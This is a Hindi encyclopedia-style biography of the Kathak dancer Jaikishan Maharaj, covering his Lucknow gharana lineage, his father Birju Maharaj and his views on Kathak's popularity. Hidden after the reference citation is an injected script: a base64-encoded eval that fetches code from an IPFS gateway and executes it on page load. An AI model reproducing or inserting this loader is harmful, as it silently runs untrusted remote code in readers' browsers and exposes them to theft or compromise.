जयकिशन महाराज

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जयकिशन महाराज (अंग्रेज़ी: Jaikishan Maharaj) भारतीय शास्त्रीय नृत्य शैली कत्थक के प्रसिद्ध नर्तक है।[1] वे देश-विदेश में ख्याति प्राप्त करने वाले भारतीय कलाकार बिरजू महाराज के पुत्र हैं। बिरजू महाराज के होनहार पुत्र जयकिशन महाराज और पुत्री ममता अपने पिता से लखनऊ घराने की साधना को हृदयंगम कर परम्परा को आगे बढ़ाने में प्रयत्नशील हैं। इसके साथ ही बिरजू महाराज की अन्य पुत्रियाँ व पुत्र दीपक भी इसमें संलग्न हैं।

परिचय

पंडित जयकिशन महाराज और कत्थक एक-दूसरे के पर्याय माने जाते हैं। लखनऊ घराने से संबंध रखने वाले जयकिशन महाराज शास्त्रीय नृत्य के पारंगत बिरजू महाराज के सुपुत्र हैं। अत: इनको कत्थक नृत्य विरासत के रूप में मिला। कृत्रिमता के बजाय वास्तविकता में यकीन रखने वाले पंडित किशन महाराज खांटी लखनवी लहजे में ही यकीन करते हैं। उनकी पत्नी रूबी मिश्रा भी शास्त्रीय नर्तकी हैं। जयकिशन महाराज का पूरा परिवार कत्थक नृत्य के माध्यम से शास्त्रीय नृत्य कला की निरंतर साधना कर रहा है। जयकिशन महाराज कहते हैं कि- "हमने भारत की नई परिभाषा गढ़ी है, भा-भाव, र-राग, त-ताल। हमारे देश की संस्कृति इतनी समृद्घ है, हम इस संस्कृति को चिरजीवित रखना चाहते हैं।"

बिरजू महाराज से तुलना

जयकिशन महाराज मूलरूप से लखनऊ के कालका-बिंदादीन घराने से हैं। देशभर में कत्थक के मुख्य रूप से तीन घराने हैं- लखनऊ घराना, बनारस घराना और जयपुर घराना। बिरजू महाराज का नाम साथ जुड़ा होने से जयकिशन महाराज कहते हैं कि- "निश्चित रूप से मेरे पिता जी बिरजू महाराज का नाम जुड़ा होने के कारण मुझसे भी लोगों की अपेक्षाएं बहुत अधिक हैं। मैं अपनी तरफ से पूरा प्रयास करता हूं कि मैं सबकी उम्मीदों पर खरा उतर सकूं। रही बात स्वयं श्री बिरजू महाराज से तुलना की तो उनके साथ मेरी तुलना का तो सवाल ही नहीं उठता। इस कला के क्षेत्र में मैं स्वयं को नवजात शिशु मानता हूं, जिसने अभी बस आँखें ही खोली है। मेरी तो बस यही कोशिश है कि मैं बिरजू महाराज द्वारा दी गई दिशा का भलीभांति अनुसरण करूं और इस परंपरा को बढ़ाकर आगे ले जाऊं।"

युवाओं का रुझान कत्थक की ओर कम होने पर जयकिशन महाराज बताते हैं कि- "मैं नहीं मानता कि कत्थक के प्रति लोगों के रूझान में कोई कमी आई है। आज पहले की तुलना में कहीं ज्यादा लोग कत्थक सीखने आते हैं। देश के विभिन्न राज्यों के अलावा विदेशों से भी भारी संख्या में लोग कत्थक सीखने के लिए आ रहे हैं। जहां तक दर्शकों की बात है, तो पहले के जमाने में ज्यादातर कत्थक राजा-महाराजाओं के दरबार में होता था। उस दौरान दर्शक भी सीमित होते थे, लेकिन अब इसके दर्शकों की संख्या में काफ़ी इजाफा हुआ है। मैंने जहां भी अपना कार्यक्रम दिया है, वहां दर्शकों की भारी भीड़ उमड़ती है।"


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टीका टिप्पणी और संदर्भ

  1. लखनऊ की वंश परम्परा (हिंदी) aajtak.intoday.in। अभिगमन तिथि: 20 अक्टूबर, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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